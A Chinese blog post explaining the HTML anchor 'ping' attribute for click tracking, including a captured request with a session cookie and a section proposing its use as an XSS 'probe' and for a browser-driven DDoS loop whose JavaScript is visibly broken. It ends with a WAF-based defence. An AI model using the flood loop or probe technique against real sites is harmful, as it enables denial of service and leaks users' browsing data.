共计 2288 个字符,预计需要花费 6 分钟才能阅读完成。
前言
今天谈谈 a 标签 ping 属性的用法,这个用法可以用来做埋点,及用户上报,关于埋点,我之前有文章写过, 利用空白 gif 图片,实现数据上报 ,ping 的这种方式可以发送 post 请求给后端,当然也可以通过这个做 DDOS 攻击,今天详细介绍一下。
Ping 的用法
Ping 的用法相对比较简单,我们通过举例的方式,为大家介绍:
点击 haorooms 博客
当你点击‘点击 haorooms 博客’的时候,会异步发送一个 POST 请求到 Ping 后面指定的地址,Request Body 的内容为 PING。或许你会问,那
点击 haorooms 博客
这段代码行不行?答案是否定的,和 HTML 中的 a 标签一样,HTML5 中 href 这个属性必须存在与 a 中,不然 Ping 也是不会运行的。
应用一,埋点上报
我们可以看到 ping 请求的 content-type 是 text/ping,包含了用户的 User-Agent,是否跨域,目标来源地址等信息,非常方便数据收集的时候进行追踪。可以利用这个进行埋点上报,点击上报等。
Ping 可以进行广告追踪,它可以统计用户都点击了哪些链接以及次数,并使用 POST 请求把这些信息发送到广告商的服务器上。那么 POST 的这些信息都包含了什么呢,简单来说 HTTP Header 的内容都会有,我们来看一个截获的完整信息
HOST: haorooms.com
CONTENT-LENGTH: 4
ORIGIN: http://mail.163.com
PING-FROM: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977
USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36
PING-TO: http://www.baidu.com/
CONTENT-TYPE: text/ping
ACCEPT: */*
REFERER: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977
ACCEPT-ENCODING: gzip, deflate
ACCEPT-LANGUAGE: zh-CN,zh;q=0.8
COOKIE: sessionid=rnbymrrkbkipn7byvdc2hsem5o0vrr13
CACHE-CONTROL: max-age=0
CONNECTION: keep-alive
PING-FROM、USER-AGENT、REFERER 这三个关键信息,直接泄漏了用户的隐私(但几个月前,百度已宣布不支持 REFERER)。而这也为我们最爱的 XSSSHELL 又提供了一个小插件。对于图片探针如果没了新鲜感,那么请试试 Ping 探针吧,简单的一句
就搞定!
ping 属性的优势
1、无需 JavaScript 代码参与,网页功能异常也能上报;
2、不受浏览器刷新、跳转过关闭影响,也不会阻塞页面后续行为,这一点和 navigator.sendBeacon()
类似,可以保证数据上报的准确性;支持跨域;点击我
3、可上报大量数据,因为是 POST 请求;
4、语义明确,使用方便,灵活自主。
ping 属性的劣势
1、只能支持点击行为的上报,如果是进入视区,或弹框显示的上报,需要额外触发下元素的 click() 行为;
2、只能支持 a 元素,在其他元素上设置 ping 属性没有作用,这就限制了其使用范围,因为很多开发喜欢 div 一把梭。
3、只能是 POST 请求,目前主流的数据统计还是日志中的 GET 请求,不能复用现有的基建。
4、出生不好,身为 HTML 属性,天然受某些开发者无视与不屑。
5、适合在移动端项目使用,PC 端需要酌情使用(不需要考虑上报总量的情况下),因为目前 IE 和 Firefox
浏览器都不支持(或没有默认开启支持)。
应用二,DDOS 攻击
根据 Ping 发送 POST 请求这个特性,我们可以使用循环使之不停的向一个地址追加 POST 请求,造成 DOS 攻击。
var arr = ['https://www.haorooms1.com', 'https://www.haorooms2.com', 'https://www.haorooms3.com'];
function haoroomsDOS( ){var indexarr = Math.floor((Math.random()*arr.length));
document.writeln("");
}
if(arr.length>0){var htimename = setlnterval("haoroomsDOS()", 1000);
}
防御方法
web 服务器可以通过 WAF(如:ShareWAF,Http://www.sharewaf.com/)等拦截含有“Ping-To”、“Ping-From”HTTP headers 的请求。
haorooms 博客, 前端博客 ,欢迎访问 haorooms 前端博客。haorooms 博客被第三方严重盗用,导致排名下降,目前 haorooms 博客正在努力恢复中,敬请关注,谢谢!